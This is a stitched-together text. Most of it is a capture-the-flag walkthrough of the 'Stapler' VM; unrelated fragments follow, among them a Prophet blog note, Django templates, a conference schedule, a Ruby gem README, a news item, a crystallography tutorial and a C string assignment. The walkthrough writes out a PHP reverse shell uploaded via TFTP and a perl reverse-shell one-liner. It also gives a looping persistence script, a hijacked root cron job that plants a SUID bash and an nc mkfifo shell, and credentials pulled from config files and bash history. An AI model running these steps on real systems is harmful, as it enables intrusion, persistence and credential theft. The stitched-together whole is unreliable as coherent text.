root@kali:~/Walkthroughs/stapler/etc# wget --no-passive -m --user=elly --password=ylle ftp://<IP_ADDRESS>
Looking at the phpmyadmin.conf config file (for Apache), we see the phpmyadmin site is still setup to allow access to /phpmyadmin/setup. It is using Basic auth, so we should be able to (at least try) brute force the credentials.
# Authorize for setup
<Directory /usr/share/phpmyadmin/setup>
<IfModule mod_authz_core.c>
<IfModule mod_authn_file.c>
AuthType Basic
AuthName "phpMyAdmin Setup"
AuthUserFile /etc/phpmyadmin/htpasswd.setup
</IfModule>
Require valid-user
</IfModule>
</Directory>
Looks like the /phpmyadmin/setup page is available if we have the right credentials. Let's see if we can view the /etc/phpmyadmin/htpasswd.setup file. Nope. Don't have permission. Can't access /etc/phpmyadmin/config-db.php either.
Looking at the rc.local file, we see how the HTTP service on TCP port 80 is started along with what home directory it is serving files out of.
root@kali:~/Walkthroughs/stapler/etc/<IP_ADDRESS># cat rc.local
#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.
/root/fix-wordpress.sh
/root/python.sh &>/dev/null &
/usr/local/src/nc.sh &>/dev/null &
su -c 'authbind php -S <IP_ADDRESS>:80 -t /home/www/ &>/dev/null' www &>/dev/null &
exit 0
Let's see if any other config files contain the '/home/www' path.
root@kali:~/Walkthroughs/stapler/etc/<IP_ADDRESS># grep -ri '/home/www' *
default/atftpd:OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr <IP_ADDRESS>-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /home/www"
passwd:www:x:1028:1028::/home/www:
rc.local:su -c 'authbind php -S <IP_ADDRESS>:80 -t /home/www/ &>/dev/null' www &>/dev/null &
Interesting. According to the default/atftpd file, there is a TFTP service that is saving files in /home/www. 😄 BINGO! We should be able to upload our PHP reverse shll to the directory using TFTP and then access it from the HTTP service on TCP port 80.
I'll create my PHP reverse shell with msfvenom.
root@kali:~/Walkthroughs/stapler# msfvenom -p php/reverse_php LHOST=<IP_ADDRESS> LPORT=5432 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3043 bytes
Now, I'll upload it to /home/www using TFTP.
root@kali:~/Walkthroughs/stapler# tftp
tftp> connect <IP_ADDRESS>
tftp> put rev.php
Sent 3153 bytes in 0.0 seconds
That seemed to work. I'll start my handler for the reverse PHP shell on TCP port 5432 and a second listener for a generic reverse shell on TCP port 5433. I like to do this because the PHP reverse shell doesn't stay active for long.
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5432
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5433
Moment of truth. Let's request our reverse shell using curl.
msf5 exploit(multi/handler) > [*] Command shell session 1 opened (<IP_ADDRESS>:5432 -> <IP_ADDRESS>:40572) at 2019-04-20 00:38:19 -0400
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
pwd
/home/www
id
uid=1028(www) gid=1028(www) groups=1028(www)
perl -e 'use Socket;$i="<IP_ADDRESS>";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' &
[*] Command shell session 2 opened (<IP_ADDRESS>:5433 -> <IP_ADDRESS>:37464) at 2019-04-20 00:39:00 -0400
Great! We got our PHP reverse shell connected, then started another reverse shell using perl.
Maintaining Access
My www account doesn't have a default shell defined, so I won't be able to SSH to the server with this account.
www@red:~$ grep `whoami` /etc/passwd
www:x:1028:1028::/home/www:
I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes.
root@kali:~/Walkthroughs/stapler# cat thumbs
#!/bin/sh
while true; do
perl -e 'use Socket;$i="<IP_ADDRESS>";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# sleep for 300 seconds (5 mins)
sleep 300
done
root@kali:~/Walkthroughs/stapler# python -m SimpleHTTPServer 4321
Serving HTTP on <IP_ADDRESS> port 4321 ...
I started python's SimpleHTTPServer module so I can upload the script to the victim's /var/www/https/blogblog/wp-content/uploads directory and run it in the background. That way if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.
www@red:/var/www/https/blogblog/wp-content/uploads$ wget -O thumbs <IP_ADDRESS>:4321/thumbs
--2019-04-20 00:55:31-- http://<IP_ADDRESS>:4321/thumbs
Connecting to <IP_ADDRESS>:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 307 [application/octet-stream]
Saving to: 'thumbs'
thumbs 100%[===================>] 307 --.-KB/s in 0s
2019-04-20 00:55:31 (60.5 MB/s) - 'thumbs' saved [307/307]
www@red:/var/www/https/blogblog/wp-content/uploads$ chmod +x thumbs
www@red:/var/www/https/blogblog/wp-content/uploads$ ./thumbs &
[1] 25361
Privilege Escalation
We check the operating system info using uname.
www@red:~$ uname -a
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux
Looks like the exploit database has a known exploit for this version of Ubuntu + kernel... unfortunately... our victim is running x86 and this exploit is for x64.
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter target_offset Out-of-Bounds Privilege Escalation | exploits/linux_x86-64/local/40049.c
We have another couple of exploits that might work...
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | exploits/linux/local/44298.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) | exploits/linux/local/43418.c
...but they don't... at least not without some more work.
Looking around in /usr/local, I notice there is a script that has wide open permissions.
www@red:/usr/local/sbin$ cat cron-logrotate.sh
#Simon, you really need to-do something about this
www@red:/usr/local/sbin$ ls -l
total 4
-rwxrwxrwx 1 root root 51 Jun 3 2016 cron-logrotate.sh
Jumping back to /etc, I did a search to see if root ever executes this file (since I can edit it).
www@red:/etc$ grep -ri 'cron-logrotate' * 2>&1 | grep -v "Permission denied"
cron.d/logrotate:*/5 * * * * root /usr/local/sbin/cron-logrotate.sh
Nice. Root runs this script (that I can edit) every 5 minutes. This should be easy.
I'll create a file with the commands I want root to run for me. I'll even leave the original comment in the file. This should copy /bin/bash to /tmp and then set the sticky bit so any user can run it as root. I'll also go ahead and have a reverse shell connect back to my attacker (since the cron job runs every 5 mins, this is also another way to 'Maintain Access').
root@kali:~/Walkthroughs/stapler# cat cron-logrotate.sh
#Simon, you really need to-do something about this
cp /bin/bash /tmp
chmod u+s /tmp/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc <IP_ADDRESS> 5434 >/tmp/f
Now I'll start the python SimpleHTTPServer like before and pull down the file to the victim (overwriting the original).
www@red:/usr/local/sbin$ wget -O cron-logrotate.sh <IP_ADDRESS>:4321/cron-logrotate.sh
--2019-04-20 01:46:06-- http://<IP_ADDRESS>:4321/cron-logrotate.sh
Connecting to <IP_ADDRESS>:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 89 [text/x-sh]
Saving to: 'cron-logrotate.sh'
cron-logrotate.sh 100%[===================>] 89 --.-KB/s in 0s
utime(cron-logrotate.sh): Operation not permitted
2019-04-20 01:46:06 (20.0 MB/s) - 'cron-logrotate.sh' saved [89/89]
Now we wait until bash shows up in /tmp. We can also set up a listener in Metasploit for our reverse shell.
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5434
LPORT => 5434
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 4.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5434
www@red:/tmp$ ls -l
total 1084
-rwsr-xr-x 1 root root 1109564 Apr 20 01:50 bash
Now that our SUID enabled bash is in /tmp, all we have to do is run it with the -p option.
www@red:/tmp$ ./bash -p
bash-4.3# id
uid=1028(www) gid=1028(www) euid=0(root) groups=1028(www)
Why does this work? What does '-p' mean? From the bash man page.
If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no
startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables,
if they appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at in‐
vocation, the startup behavior is the same, but the effective user id is not reset.
As you can see from the output of the 'id' command, the effective user id (euid) is 0 (root).
All that's left to do now is get the flag from /root.
bash-4.3# cd /root
bash-4.3# cat flag.txt
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
.-'''''-.
|'-----'|
|-.....-|
| |
| |
_,._ | |
__.o` o`"-. | |
.-O o `"-.o O )_,._ | |
( o O o )--.-"`O o"-.`'-----'`
'--------' ( o O o)
`----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b
Pivoting
N/A
Clean Up
*** REMOVE /home/www/rev.php ***
*** STOP /var/www/https/blogblog/wp-content/uploads/thumbs ***
*** REMOVE /var/www/https/blogblog/wp-content/uploads/thumbs ***
*** CLEAN OUT /usr/local/sbin/cron-logrotate.sh ***
*** REMOVE /tmp/bash ***
Additional Info
WordPress DB Creds
We were able to obtain the wordpress database credentials from the wp-config.php file in /var/www/https/blogblog.
[...]
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'plbkac');
/** MySQL hostname */
define('DB_HOST', 'localhost');
[...]
phpMyAdmin DB Creds
We are able to obtain the phpmyadmin database credentials from the config-db.php file in /etc/phpmyadmin.
bash-4.3# cd /etc/phpmyadmin
bash-4.3# cat config-db.php
<?php
##
## database access settings in php format
## automatically generated from /etc/dbconfig-common/phpmyadmin.conf
## by /usr/sbin/dbconfig-generate-include
##
## by default this file is managed via ucf, so you shouldn't have to
## worry about manual changes being silently discarded. *however*,
## you'll probably also want to edit the configuration file mentioned
## above too.
##
$dbuser='phpmyadmin';
$dbpass='FbvmqOhR4Z5y';
$basepath='';
$dbname='phpmyadmin';
$dbserver='localhost';
$dbport='';
$dbtype='mysql';
TCP port 666
We notice that nmap reported lots of junk from the service on TCP port 666. Let's use netcat to catch the binary data being spewed on this port and see what it might be.
root@kali:~/Walkthroughs/stapler# nc <IP_ADDRESS> 666 > binary
root@kali:~/Walkthroughs/stapler# vim binary
Opening the file in vim, we notice the first characters are 'PK', which typically indicates a ZIP file. We add the '.zip' extension and run zipinfo to see what we've got.
root@kali:~/Walkthroughs/stapler# mv binary binary.zip
root@kali:~/Walkthroughs/stapler# zipinfo binary.zip
Archive: binary.zip
Zip file size: 11608 bytes, number of entries: 1
-rw-r--r-- 3.0 unx 12821 bx defX 16-Jun-03 11:03 message2.jpg
1 file, 12821 bytes uncompressed, 11434 bytes compressed: 10.8%
We extract message2.jpg and this is what we get.
Scott is a WordPress user.
We also check the exif data in the image.
root@kali:~/Walkthroughs/stapler# exiftool message2.jpg
ExifTool Version Number : 11.16
File Name : message2.jpg
Directory : .

Application Record Version : 4
IPTC Digest : d41d8cd98f00b204e9800998ecf8427e
Image Width : 364
Image Height : 77
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
Image Size : 364x77
Megapixels : 0.028
This Contact field comment plus Scott being mentioned in the image ties together something we already know (through brute force). Scott's WordPress password is 'cookie'.
phpMyAdmin Setup
The /etc/phpmyadmin/htpasswd.setup file contains the following.
root@red:/etc/phpmyadmin# cat htpasswd.setup
admin:*
JKanode
Looking in the /root directory, there is a python.sh script that appears to be starting python's SimpleHTTPServer on TCP port 8888. That port wasn't open in our nmap scan and we can't connect to it because it is being redirected to /dev/null (intentionally or unintentionally). Regardless, we see that it is serving files out of /home/JKanode. That makes that directory interesting. Taking a look there, we only see hidden bash related files, but the .bash_history file has some interesting entries. In fact, it has SSH credentials for two users (JKanode and peter). We've seen that Peter is an admin on the WordPress site and was listed in the SMB users as well. We also saw that his account is in many 'admin' groups in /etc/group. So, that's a nice account to have credentials for... even though we already have root.
root@red:~# cat python.sh
#!/bin/bash
su -c 'cd /home/JKanode; python2 -m SimpleHTTPServer 8888 &>/dev/null' JKanode &>/dev/null
root@red:~# cd /home/JKanode
root@red:/home/JKanode# ls -a
.
..
.bash_history
.bash_logout
.bashrc
.profile
root@red:/home/JKanode# cat .bash_history
cat .bash_history
id
whoami
ls -lah
pwd
ps aux
sshpass -p thisimypassword ssh JKanode@localhost
apt-get install sshpass
sshpass -p JZQuyIN5 peter@localhost
ps -ef
top
kill -9 3747
exit
Logging in (via SSH) as Peter, we can see all the permissions his account has.
red% id
uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
Seeing sudo in the list, we decide to see what Peter can do using sudo...
red% sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for peter:
Matching Defaults entries for peter on red:
lecture=always, env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User peter may run the following commands on red:
(ALL : ALL) ALL
Anything he wants! If we didn't already have root, this would be a way to get it.


Facebook released a time series analysis package called Prophet which makes it easy to work with time series data. I loaded up S&P 500 data, and when looking at the seasonal decomposition using the plot_components method, I noticed that there was a peak around May. It explained the old saying ‘sell in may and go away’. The below gif shows the seasonal decomposition for the trailing 20 year period.


{% if perms.Activities.add_sentence %}
{% include "tables/sentence.html" with object_list=sentences %}
{% endif %}
{% if perms.Activities.add_group %}
{% include "tables/group.html" with object_list=groups %}
{% endif %}
{% if perms.Activities.add_pattern %}
{% include "tables/pattern.html" with object_list=patterns %}
{% endif %}


16 Dec, Sydney
AHICon 2019 is a two-day program, over 16-17 December. Each day commences with a plenary session on key contemporary issues - all attendees are strongly encouraged to attend these seminars. Each plenary session will be followed by lunch, where attendees can mingle with speakers.
In addition to scheduled talks, attendees are encouraged to set up stalls for presenting their research. AHICon 2019 is now welcoming abstracts.
| Time | Event | Speakers | Description |
|---|---|---|---|
| 8:30 AM - 9:45 AM | Registration | Doors open 8:30 AM. Sign in and collect lanyards. Please be punctual. | |
| 10:00 AM - 12:00 PM | The Future of ICD in Australia |
Dr Irene Dover, BSc(Hons), MD, MPH Dr Wayne Kerry, MBBS, PhD |
PLENARY SESSION. All attendees strongly encouraged to attend. Discussion on ICD-10-AM. Implications of ICD-11. read more |
| 12:00 PM - 1:00 PM | Lunch | Meet with speakers and professionals over lunch | |
| 1:00 PM - 2:00 PM | LOINC vs SNOMED CT-AU: Competing terminologies | Dr Eric Chen, BE(Hons), MEngSc, PhD | Discussion on competing medical terminologies in Australian healthcare. |
| 3:00 PM - 4:00 PM | Whose Health Record? Secure Health Messaging and Records in Australia | Dr Maya Dickson-Recht, BA, BMed, MD | Dr Dickson-Recht discusses privacy in health informatics, in light of the MHR controversy. |
| Time | Event | Speakers | Description |
|---|---|---|---|
| 8:30 AM - 9:45 AM | Registration | Doors open 8:30 AM. Sign in and collect lanyards. Please be punctual. | |
| 10:00 AM - 12:00 PM | Spreading the Message: HL7 Messaging Standards in Australian Healthcare |
Dr Irene Dover, BSc(Hons), MD, MPH Dr Ivanka Foch, BA, MD, MBA |
PLENARY SESSION. All attendees strongly encouraged to attend. Survey of HL7 standards in the healthcare system. Discussion of up-and-coming systems, especially FHIR. read more |
| 12:00 PM - 1:00 PM | Lunch | Meet with speakers and professionals over lunch | |
| 1:00 PM - 2:00 PM | The FHIR Rises | Dr Ivanka Foch, BA, MD, MBA | Dr Foch continues her talk on FHIR. How quickly should we be adopting FHIR? How interoperable will it be with existing messaging standards? |
| 3:00 PM - 4:00 PM | ISO/IEEE 11073: Telehealth Standards for the Future | Dr Michelle Hunt, BSEE, ME, PhD | Perspectives in telehealth, personal health devices, and apps |


| Command | Format |
|---|---|
| Add | add TASK_NAME [starts START_DATE_TIME ends CLOSE_DATE_TIME tag TAG] |
| Alias | alias COMMAND ALIAS |
| Delete | delete INDEX |
| Complete | complete INDEX |
| Uncomplete | uncomplete INDEX |
| List | list (all/pinned/pending/completed/overdue) |
| Find | find KEYWORD |
| Find by Tag | find-tag TAG_NAME [MORE_TAG_NAMES] |
| Update | update INDEX [NAME starts START_DATE_TIME ends CLOSE_DATE_TIME tag TAG remove-tag TAG] |
| Undo | undo |
| Pin | pin INDEX |
| Unpin | unpin INDEX |
| Live Search | searchbox |
| Change Storage | change-to PATH_NAME |
| Help | help |
| Exit | exit |
Example:
Example:
Example:
Example:


WebBridge LR
Author: , , . Published in: , Published in: , v. no. , pp. pp. - Date:
Author: , , . Published in: , Published in: , v. no. , pp. pp. - Date:
No exact match found.
Close Window


Pakiderm
Allows you to memoize simple methods and works only on ruby 2.0.
Usage
class Counter extend Pakiderm def increment @sum = 1 + @sum.to_i end memoize :increment end
Your method will only be called the first time, the result will be stored and returned on subsequent invocations. ```irb counter = Counter.new => Counter
counter.increment => 1
counter.increment => 1
counter.increment = 5 => 5
counter.increment => 5 ``` As you can see, it also provides an assignment operator, so you can override the memoized value :smiley:.
Background
Pakiderm uses Module#prepend to add the memoized method before yours in the method lookup path of your class. Your method is called by using 'super', because the class is an ancestor to the prepended module.
Corolary
If you override a memoized method in a derived class, you alter the method chain, so the derived method won't be memoized unless you invoke memoize in the derived class as well.


Instructions: Select one answer per question then submit your answers. You need 5 or more correct answers to get a certificate.
Instructions: Select one answer per question then submit your answers. You need 5 or more correct answers to get a certificate.


Team human is what human is about. Its a call to reclaim and retrieve our humanity! It’s an artistic process of bringing us together into a one breathing body. It’s an algorithm to deconstruct identity in order to talk about the state of being and the sense of time. This code based practice constantly evolves and mutates the image, thus creating an ambiguous condition.


Flash native code needs to define two macros that are used for debugging the program.
FLASHASSERT is a standard assert function with a long name to avoid name space collisions.
FLASHOUTPUT is a "printf" which sends output to a debugging window.
Version
1.0 of the Flash 4 Porting SDK
Middlesoft, Inc.


Welcome to Online Transcript Generator and Viewer
User Login
Admin Login
User Login
Email Address
*
Password
*
Login
Sign in with Google
Admin Login
Email Address
*
Password
*
Log In


We're sorry but Address Book doesn't work properly without JavaScript enabled. Please enable it to continue.


loss = self.vae_loss(x, x_decoded_mean_squash)
self.add_loss(loss, inputs=inputs)
// we don"t use this output, but it has to have the correct shape:
return K.ones_like(x)
loss_layer = CustomVariationalLayer()([x, x_decoded_mean_squash])
loss = self.vae_loss(x, x_decoded_mean_squash)
self.add_loss(loss, inputs=inputs)
// We don"t use this output.
return x
y = CustomVariationalLayer()([x, x_decoded_mean_squash])
vae = Model(x, y)


{% extends 'houdini_admin/base.html' %} {% block content %}
Hi!
It looks like your activation key has expired. Click here to generate a new one.


{{ status }}
UNECE {{ doctype }}
{% if unpublished %}{{ status }}{% endif %}
{% if submissionlanguage %}Original: {{ submissionlanguage | join: "/" }}
{% endif %} {% if language %}{{ language | join: ", " }} only
{% endif %}This document is not a UNECE Standard. It is distributed for review and comment, and is subject to change without notice and may not be referred to as a Standard. Recipients of this draft are invited to submit, with their comments, notification of any relevant patent rights of which they are aware and to provide supporting documentation.
© {{ docyear }} United Nations.
UN Economic Commission for Europe: Information Service
Palais des Nations
CH-1211 Geneva 10
Switzerland
+41 (0) 22 917 12 34 (switchboard)
<EMAIL_ADDRESS>www.unece.org/


Former Trump advisor accuses White House of blocking Twitter access
by AFPWASHINGTON: Former Trump National Security Advisor John Bolton said the White House denied him access to his Twitter account after his dismissal in early September, in a series of tweets that signal his return to the social media site.
“Since resigning as National Security Advisor, the White House has refused to return access to my personal Twitter account. Out of fear of what I may say?” Bolton wrote on Friday.
Prior to Friday’s series of tweets, nothing had been published by Bolton since September 10, the day the US president announced his dismissal.
“To those who speculated I went into hiding, I’m sorry to disappoint!” he added.
The White House swept aside the charges, with spokesperson Stephanie Grisham suggesting Bolton simply didn’t know how to use the platform.
“Sometimes, I’ll use my father as an example,” she told a Fox Business Network discussion program.
“Somebody who is of an advanced age may not understand all you have to do is contact Twitter and reset your password if you’ve forgotten it.”
Since being dismissed, 71-year-old John Bolton has disagreed with the US president’s strategy on North Korea.
Early on Friday, the former diplomat announced his return to Twitter with an enigmatic message: “Glad to be back on Twitter after more than two months. For the backstory, stay tuned…”.
His final tweet in the series read: “Thank you to Twitter for standing by their community standards and rightfully returning control of my account.”


An ABBR: "REF". ref and REFERENCE should be ignored.
The HTML specification is maintained by the W3C.


{% extends "cctbx/header.html" %} {% load static %} {% block content %}
This example script shows how to calculate R-factors with a model and a mtz file.
This script requires the following imports:
from __future__ import absolute_import, division, print_function
import iotbx.pdb
import mmtbx.model
import mmtbx.f_model
from iotbx import reflection_file_reader
To calculate R-factors we need a model (coordinates, b-factors, atom-type, occupancy, etc.) to obtain calculated structure factors and data (structure factor amplitudes or intensities, R-free-flags for Rfree). The following sections explain how to obtain the model and data objects from the input files.
If you don't have examples files at hand, you can use files that come with the phenix installation:
import os
import libtbx.load_env
pdb_file = libtbx.env.find_in_repositories(
relative_path="phenix_regression/pdb/1yjp_h.pdb",
test=os.path.isfile)
mtz_file = libtbx.env.find_in_repositories(
relative_path="phenix_regression/reflection_files/1yjp.mtz",
test=os.path.isfile)
assert (not None in [pdb_file, mtz_file])
First, let's create a model object from the input file pdb_file
.
# Read in the model file and create model object
pdb_inp = iotbx.pdb.input(file_name = pdb_file)
model = mmtbx.model.manager(model_input = pdb_inp)
We need data to calculate R-factors. First we'll read the mtz file, then we get an appropriate Miller array. In this example, we know that the miller arrays have the names FOBS,SIGFOBS
and R-free-flags
in the mtz file.
# Get miller arrays for data and Rfree flags
miller_arrays = reflection_file_reader.any_reflection_file(file_name =
mtz_file).as_miller_arrays()
for ma in miller_arrays:
print(ma.info().label_string())
if(ma.info().label_string()=="FOBS_X,SIGFOBS_X"):
f_obs = ma
if(ma.info().label_string()=="R-free-flags"):
r_free_flags = ma
Now we have to remove reflections that don't have an equivalent in the other array, in other words, both arrays need to have the same number of reflections. We also bring the r_free_flags array into a boolean format suitable for further calculations.
# Obtain a common set of reflections
f_obs, r_free_flags = f_obs.common_sets(r_free_flags)
r_free_flags = r_free_flags.array(data = r_free_flags.data()==0)
To doublecheck, let's print the number of reflections that are "free" and "work", respectively:
print(r_free_flags.data().count(True), r_free_flags.data().count(False))
The following lines of code yield the f_model
object that combines the data and model:
fmodel = mmtbx.f_model.manager(
f_obs = f_obs,
r_free_flags = r_free_flags,
xray_structure = model.get_xray_structure())
You can see that we did not pass the model object itself to f_model
. The reason is that model
contains way more infomation than necessary to calculate structure factors, for example it may carry restraint information. To calculate R-factors, this is not needed. Instead, the minimal structural information is contained in the xray_structure
object.
We need one more step before calculating R-factors: The calculated and observed structure factor amplitudes are usually not on a common scale and low resolution structure factors need to be adjusted. To address this, the update_all_scales()
method will calculate scale factors and add a bulk solvent model.
fmodel.update_all_scales()
Finally, we print the results:
print("r_work=%6.4f r_free=%6.4f"%(fmodel.r_work(), fmodel.r_free()))
fmodel.show(show_header=False, show_approx=False)


Windows 10 Theme: Microsoft releases Colors of Holi PREMIUM theme pack
by RakaMicrosoft has added a new theme pack to the Microsoft Store for Windows 10 users. Titled Colors of Holi PREMIUM, the new theme pack contains high-quality 4K wallpapers, the description of which reads as follows:
Celebrate the beginning of spring with bursts of colorful powder in this premium 4k image set, free for Windows 10 Themes. These images are to be used for desktop wallpaper only.
After downloading the collection, go to Start > Settings > Personalization > Themes and click on the theme you prefer.
To apply and change to the most appropriate color, based on the current wallpaper, go to Customize > Colors > Automatically select a primary color from the background.
Find the new Colors of Holi PREMIUM in the Microsoft Store here.
|
|
Download | Colors of Holi PREMIUM Developer: Microsoft Corporation Price: Free |
|
Via Walkingcat


The purpose of this assignment is to help you learn/review (1)
arrays and pointers in the C programming language, (2) how to create
and use stateless modules in C, (3) the "design by contract"
style of programming, and (4) how to use the GNU/UNIX programming
tools, especially bash
, emacs
, gcc,
and gdb
.
Implement the string functions listed by the Table in Part 1. Part 2 is the "on your own" part of this assignment, which is worth 50% of this assignment.
You will get an extra 10% of the full score if you implement the Part 1 only with pointer notation when you access the character. See the Extra credit section below (Extra Credit for Part 1).
As you know, the C programming environment provides a standard library. The facilities provided in the standard library are declared in header files. One of those header files is string.h; it contains the declarations of "string functions," that is, functions that perform operations on character strings. Appendix D of the King textbook, Appendix B3 of the Kernighan and Ritchie textbook, and the UNIX "man" pages describe the string functions. The string functions are used heavily in programming systems; certainly any editor, compiler, assembler, or operating system created with the C programming language would use them.
Your task in this assignment is to use C to create the "Str" module that provides string manipulation functions. Specifically, design your Str module so that each function behaves the same as described below. Your task in this assignment is twofold.
[Part 1] Read the description of the basic string library functions carefully, and implement each function. The basic functions are most commonly used standard string functions. Each function should behave the same as its corresponding standard C function.
[Part 2]
Implement a simplified version of grep
using Str
functions. Read the provided file that contains
skeleton code carefully, edit the file to make it process the required
functionalities: find, replace, diff.
Str
Function Implementation Your task for the first part is to use C to implement five basic
string manipulation functions: StrGetLength(), StrCopy(),
StrCompare(), StrSearch(), StrConcat()
. Those five functions
should follow the format of the corresponding standard C library
functions. You can easily find the function's description and
operation in the UNIX "man" page.
The following table shows the required basic string functions in Part 1 and their corresponding function names in the standard C library.
Str Function
|
Standard C Function | Man page link |
|---|---|---|
StrGetLength
|
strlen
|
strlen man page |
StrCopy
|
strcpy
|
strcpy man page |
StrCompare
|
strcmp
|
strcmp man page |
StrSearch
|
strstr
| strstr man page |
StrConcat
|
strcat
|
strcat man page |
Use the Str
module's interface in a file named str.h
, and place your Str
function definitions
in str.c
.
Note that your Str functions should not call any of the standard string functions. In the context of this assignment, pretend that the standard string functions do not exist. However, your functions may call each other, and you may define additional (non-interface) functions.
Design each function definition so it calls the assert
macro to validate the function's parameters. In that way,
your Str
functions should differ from the standard C
string functions. Specifically, design each function definition to
assert that each parameter is not NULL
. See the
note below for more information of
the assert()
macro function.
Beware of type mismatches. In particular, beware of the difference between type size_t and type int: a variable of type size_t can store larger integers than a variable of type int can. Your functions should (in principle) be able to handle strings whose lengths exceed the capacity of type int. Also beware of type mismatches related to the use of the const keyword.
There are various ways to implement the functions in Part
1. Especially, you can access the character by pointer dereferencing
like *pcSrc
or by using an array notation such
as pcSrc[uiLength]
.
Here are two examples of StrGetLength()
implementation. The first code implements the StrGetLength() function
with the array notation; it traverses each given string or accesses
the character using an index relative to the beginning of the string.
However, with the pointer notation, the second version traverses each
given string using an incremented pointer.
You can freely implement Part 1. However, if you
implement part 1 only with pointer notation, you can get extra 10% of
the full score. Note: if you simply convert array
notation to pointer notation (e.g., *(p+i) instead of p[i]), that does
not count as pointer notation. That is, pointer notation should
not deal with an index. We will strictly apply the criteria for
pointer notation, so please avoid using notation like (p+i) to get the
full credit. p++/-- and *p are just fine. Please write your choice of
implementation in the readme
file. That is, specify if
you used only the pointer notation for Part 1 in
the readme
file.
We provide a test client
(client.c
) that compares
the results of the Str
and C standard library functions
with various input. Please use this code for testing and
debugging. You can compile the test client with gcc209
as
follows.
Str
functions separately by providing
a function name as an argument. For example,
will test StrCopy
. Actually, the client accepts any one of the Str
function names as a command-line argument:
Note that passing all tests provided by the client does not mean that your function always behaves correctly. Please devise your own testing (e.g., by changing the client code) for more confidence. Note that we may use a different test client for grading.
grep
is a popular UNIX tool that manipulates input strings. In this part, you implement a simplified version of grep
called sgrep
. sgrep
provides these three functionalities.
-f search-string
): reads each line from standard input (stdin
) and prints out only the lines that contain search-string
to standard output (stdout
). -r string1 string2
): reads each line from standard input (stdin
), replaces all occurrences of string1
with string2
, and prints it out to standard output (stdout
). If string1
is not found in the line, the original line is copied to stdout
. -d file1 file2
): compares the two files (file1 and file2) line by line, and prints out only the different lines with their line numbers to standard output (stdout
). The output format of the different line should be as follows:
Here are some usage examples of sgrep
(you can also see the test files (google_wiki.txt
and microsoft.txt
) which are used in the following example):
Rules:
search-string, string1, string2
) refers to a sequence of any non-space characters. It can be enclosed with double quote(") characters and can be either empty ("") or can include a space (e.g., "hello world"). No need to handle an escape character for this assignment. stderr
). Use fprintf(stderr, ...);
for that.sgrep.c
). string1
cannot be an empty string. In such a case, your program should stop with a proper error message (e.g., "Error: Can't replace an empty substring"). string2, search-string
) can be an empty string. That is, an empty search string matches any line, and if string2
is an empty string, it removes any occurrences of string1
